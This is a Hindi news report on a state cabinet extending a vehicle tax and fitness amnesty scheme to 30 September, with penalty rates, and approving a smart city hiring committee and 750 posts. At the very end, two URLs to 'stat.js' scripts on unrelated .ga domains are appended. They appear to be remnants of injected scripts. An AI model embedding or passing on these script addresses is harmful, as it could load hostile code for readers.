राज्य सरकार ने टैक्स और फिटनेस डिफॉल्टर मालवाहक, व्यावसायिक वाहन, ट्रैक्टर, ट्रेलर के मालिकों को राहत देते हुए सर्वक्षमा योजना की अवधि 30 सितंबर तक बढ़ा दी है। इस अवधि के दौरान मालिक अपने अनिबंधित वाहनों को निबंधित करा सकते हैं। योजना में ई-रिक्शा को भी शामिल किया गया है। व्यावसायिक वाहनों और ट्रैक्टर-ट्रेलर को अर्थदंड, फीस और टैक्स का एकमुश्त भुगतान करने पर विशेष छूट दी जाएगी।

कैबिनेट ने गुरुवार को परिवहन विभाग के इस प्रस्ताव को मंजूरी दे दी। बीएस-4 के अनिबंधित वाहनों को इसका लाभ नहीं मिलेगा। परिवहन विभाग के सचिव संजय कुमार अग्रवाल ने बताया कि सर्वक्षमा योजना की शुरुआत 15 नवंबर से 90 दिनों तक के लिए की गई थी। यह योजना 15 फरवरी तक लागू थी। योजना का उत्साहवर्द्धक परिणाम काे देखते हुए इसे 30 सितंबर तक विस्तारित किया गया है। फिटनेस डिफॉल्टर वाहनों को भी राहत दी गई है। पहले योजना में अनिबंधित वाहन शामिल नहीं थे, जिसके कारण वैसे वाहन जिनका किसी कारणवश निबंधन नहीं हुआ है, वे कर की देयता से बाहर थे। अब बैटरी चालित वाहनों को भी इस योजना में शामिल किया गया है।

स्मार्ट सिटी मिशन योजना के तहत पटना, भागलपुर, मुजफ्फरपुर और बिहारशरीफ में एसपीवी कंपनी में कॉन्ट्रैक्ट पर होने वाली नियुक्तियों की शर्तों को तय करने के लिए नगर विकास सचिव की अध्यक्षता में कमेटी बनेगी। कैबिनेट ने मंजूरी दे दी। हाईकोर्ट और परिवहन विभाग में 750 नए पदों पर भी बहाली होगी। टैक्स डिफॉल्टर निबंधित या अनिबंधित ट्रैक्टर-ट्रेलर, जो कृषि या व्यावसायिक कार्यों में इस्तेमाल हो रहे हैं, 25000 रुपए जमा कर उनका निबंधन कराया जा सकेगा।

सभी प्रकार के निबंधित या अनिबंधित वाहन जो एक साल पहले तक टैक्स डिफॉल्टर थे, उनको बकाया कर के अतिरिक्त 30 प्रतिशत अर्थदंड जमा करने पर रेगुलेट कर दिया जाएगा। यदि वाहन एक साल से अधिक समय से डिफॉल्टर हैं तो उन्हें बकाया टैक्स के अतिरिक्त 50 प्रतिशत अर्थदंड जमा करने पर निबंधित किया जाएगा। फिटनेस के कारण डिफॉल्टर वाहनों की फीस भी कम की गई है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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